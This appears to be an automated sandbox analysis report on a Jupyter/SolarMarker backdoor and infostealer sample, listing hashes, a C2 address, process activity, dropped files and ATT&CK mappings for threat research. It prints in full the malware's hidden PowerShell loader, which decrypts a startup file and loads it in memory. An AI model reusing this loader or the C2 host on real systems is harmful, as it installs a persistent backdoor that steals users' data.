jupyter | 8f9db949c11d775ead140f4e9198a1dad03eb12bfcbae43e852613dee573aec9

Resubmissions

13-06-2022 00:03

220613-ab3m8agfg8 10

16-05-2022 03:16

220516-dshk6aeadk 8

Analysis

max time kernel
257s
max time network
287s
platform
windows10_x64
resource
win10-20220414-en
submitted
13-06-2022 00:03

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General

Target

What is a sox.exe
Size

278.0MB
MD5

f6a360ff5cc2fad625a18ab7064ea05d
SHA1

5002176424bbebae11e12e144d10ebe06719beae
SHA256

237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e
SHA512

10e692fb6f2cc4ebcef2bf45418a72f8aabb1312e2ed8714dbc9d6d253b675fe5b589d1c6a2e91f6d85dc22115139209255bf14dc00fbfbf91072930ca780de8

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

http://146.70.81.82

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Executes dropped EXE 1 IoCs

pid	Process
2304	AtavAc.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YjrFXJkoJaQeInJnDSnikUtsuhUc.qinBtNmbHUCzkwtRfTuLrGOhaBwGY	What is a sox.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\dyxffximhtigvyxrkyy\shell	What is a sox.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\dyxffximhtigvyxrkyy\shell\open	What is a sox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\dyxffximhtigvyxrkyy\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('U+D8HtF0w1kFYnWP7aXi50QDISoQw0lV8uQDHRAMo6Q=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZanJGWEprb0phUWVJbkpuRFNuaWtVdHN1aFVjLnFpbkJ0Tm1iSFVDemt3dFJmVHVMckdPaGFCd0dZ'))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[xr2dOjsy2Kd_FRff7Tq5SqHXg6b_4ssWtFZuwrDLEcR2gqJdMDMyUz1tjevVYrP6JRLCrF4.hOboVLl_2rkzyvKjPRnpcuUxMUvEc2cxOA4fpHm_HqSHj8zfjPer5nfVz4eZL4OGKnH5BeSXtzDiWYk4zvQWB9_6uCTk_lc06wd]::uT0NxQlhBZcW5vL3WaJXNIy3_wDePSNPyzKZbIuNcSDH4zU8qYZhN8zGIBgaoyEisHKMg();\""	What is a sox.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\.qinbtnmbhuczkwtrftulrgohabwgy	What is a sox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\.qinbtnmbhuczkwtrftulrgohabwgy\ = "dyxffximhtigvyxrkyy"	What is a sox.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\dyxffximhtigvyxrkyy\shell\open\command	What is a sox.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\dyxffximhtigvyxrkyy	What is a sox.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2436	What is a sox.exe
2436	What is a sox.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	What is a sox.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1876 wrote to memory of 2304	1876	What is a sox.exe	66
PID 1876 wrote to memory of 2304	1876	What is a sox.exe	66
PID 1876 wrote to memory of 2304	1876	What is a sox.exe	66
PID 1876 wrote to memory of 2436	1876	What is a sox.exe	67
PID 1876 wrote to memory of 2436	1876	What is a sox.exe	67

C:\Users\Admin\AppData\Local\Temp\What is a sox.exe
"C:\Users\Admin\AppData\Local\Temp\What is a sox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Users\Admin\AppData\Local\Temp\AtavAc.exe
  "C:\Users\Admin\AppData\Local\Temp\AtavAc.exe"
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Users\Admin\AppData\Local\Temp\What is a sox.exe
  "C:\Users\Admin\AppData\Local\Temp\What is a sox.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2436

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\What is a sox.exe.log

Filesize
425B

MD5
2ead231ce66abe78de975d1b05d590a4

SHA1
c269fde7c1d36005928089b0689cecd0a2bc1e1c

SHA256
71879c54d43afa910afbabfc59235151a78b42049f79f152773fbfca74b2f294

SHA512
038480a37fe4227fe04f7323fea842037df486901aab0529145046718ffb48c99e62107f534857ca0023dbb5b72be778bc4911ae2873c01ad826865c44537fdd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AtavAc.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\AtavAc.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1876-117-0x000001F38D960000-0x000001F38DB9E000-memory.dmp

Filesize
2.2MB

Download
memory/2304-122-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-124-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-123-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-125-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-126-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-127-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-128-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-130-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-131-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-132-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-133-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-134-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-135-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-136-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-137-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-138-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-139-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-140-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-141-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-142-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-143-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-144-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-145-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-146-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-147-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-149-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-148-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-150-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-151-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-152-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-153-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-154-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-155-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-156-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-157-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-158-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-159-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-160-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-161-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-162-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-163-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-164-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-165-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-166-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-167-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-168-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-169-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2304-170-0x0000000077B40000-0x0000000077CCE000-memory.dmp

Filesize
1.6MB

Download
memory/2436-171-0x000001E2435D0000-0x000001E2435F2000-memory.dmp

Filesize
136KB

Download
memory/2436-172-0x000001E25D940000-0x000001E25D9B6000-memory.dmp

Filesize
472KB

Download
memory/2436-173-0x000001E25DAC0000-0x000001E25DB7A000-memory.dmp

Filesize
744KB

Download